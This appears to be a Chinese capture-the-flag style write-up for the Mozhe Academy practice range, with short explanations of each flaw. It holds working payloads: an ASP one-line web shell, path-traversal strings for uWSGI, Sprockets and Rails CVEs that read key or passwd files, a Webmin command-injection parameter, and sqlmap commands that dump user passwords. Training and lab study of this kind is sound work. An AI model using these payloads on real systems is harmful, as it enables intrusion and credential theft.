墨者学院在线靶场WP
一、内部文件上传系统漏洞分析溯源
过程
1.访问靶场

2.准备asp一句话木马
<%eval request("MH")%>

3.上传asp.txt,抓包,修改参数

4.放包,蚁剑连接




原理
IIS6.0目录解析:
以*.asp命名的文件夹下,里面的文件都将会被当成ASP文件执行
二、uWSGI 漏洞复现(CVE-2018-7490)
过程
1.访问靶场

2.poc
/..%2F..%2F..%2F..%2F..%2Fkey.txt

原理
uWSGI 2.0.17之前的PHP插件,没有正确的处理DOCUMENT_ROOT检测,导致用户可以通过…%2f来跨越目录,读取或运行DOCUMENT_ROOT目录以外的文件,利用该漏洞查看系统上的任意文件。
三、Webmin未经身份验证的远程代码执行
过程
1.访问靶场

2.poc
1.修改路径 session_ login.cgi 为 password_change.cgi
2.修改参数 user=qwe&pam=1&expired=2&old=test|cat /key.txt&new1=test&new2=test
3.抓包&改包


4.放包得到key

原理
由于password_change.cgi文件在重置密码功能中存在一个代码执行漏洞,该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码
四、Ruby On Rails漏洞复现第一题(CVE-2018-3760)
过程
1.访问靶场

2.poc
/assets/file:%2f%2f/usr/src/blog/app/assets/config/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd

原理
Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器,Ruby On Rails是著名Ruby Web开发框架,Sprockets是编译及分发静态资源文件的Ruby库。Sprockets 3.7.1及之前版本中,存在一处因为二次解码导致的路径穿越漏洞,攻击者可以利用%252e%252e/来跨越到根目录,读取或执行目标服务器上任意文件。
五、Ruby On Rails漏洞复现第二题(CVE-2019-5418)
过程
1.访问靶场

2.poc
…/…/…/…/…/…/…/…/etc/passwd{{
3.访问/robots路径,抓包,修改Accept参数

原理
在控制器中通过render file形式来渲染应用之外的视图,且会根据用户传入的Accept头来确定文件具体位置。我们通过传入Accept: …/…/…/…/…/…/…/…/etc/passwd{{来构成构造路径穿越漏洞,读取任意文件。{{的作用是闭合模板路径。
六、X-Forwarded-For注入漏洞实战
过程
1.访问靶场

2.提交抓包

3.添加X-Forwarded-For字段,值改为*,将POST包放入txt文件中,sqlmap跑
python sqlmap.py -r C:\Users\Administrator\Desktop\1.txt --current-db --batch
python sqlmap.py -r C:\Users\Administrator\Desktop\1.txt -D webcalendar --tables --batch
python sqlmap.py -r C:\Users\Administrator\Desktop\1.txt -D webcalendar -T user --columns --batch
python sqlmap.py -r C:\Users\Administrator\Desktop\1.txt -D webcalendar -T user -C password --dump --batch
python sqlmap.py -r C:\Users\Administrator\Desktop\1.txt -D webcalendar -T user -C username --dump --batch

4.使用sqlmap跑出来的账号密码登录

原理
X-Forwarded-For 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。如今它已经成为事实上的标准,被各大 HTTP 代理、负载均衡等转发服务广泛使用,并被写入 RFC 7239(Forwarded HTTP Extension)标准之中。
X-Forwarded-For 请求头格式非常简单,就这样:
X-Forwarded-For: client, proxy1, proxy2
可以看到,XFF 的内容由「英文逗号 + 空格」隔开的多个部分组成,最开始的是离服务端最远的设备 IP,然后是每一级代理设备的 IP。
如果一个 HTTP 请求到达服务器之前,经过了三个代理 Proxy1、Proxy2、Proxy3,IP 分别为 IP1、IP2、IP3,用户真实 IP 为 IP0,那么按照 XFF 标准,服务端最终会收到以下信息:
X-Forwarded-For: IP0, IP1, IP2
Proxy3 直连服务器,它会给 XFF 追加 IP2,表示它是在帮 Proxy2 转发请求。列表中并没有 IP3,IP3 可以在服务端通过 Remote Address 字段获得。我们知道 HTTP 连接基于 TCP 连接,HTTP 协议中没有 IP 的概念,Remote Address 来自 TCP 连接,表示与服务端建立 TCP 连接的设备 IP,在这个例子里就是 IP3。
Remote Address 无法伪造,因为建立 TCP 连接需要三次握手,如果伪造了源 IP,无法建立 TCP 连接,更不会有后面的 HTTP 请求。不同语言获取 Remote Address 的方式不一样,例如 php 是 $_SERVER[“REMOTE_ADDR”],Node.js 是 req.connection.remoteAddress,但原理都一样。




浙公网安备 33010602011771号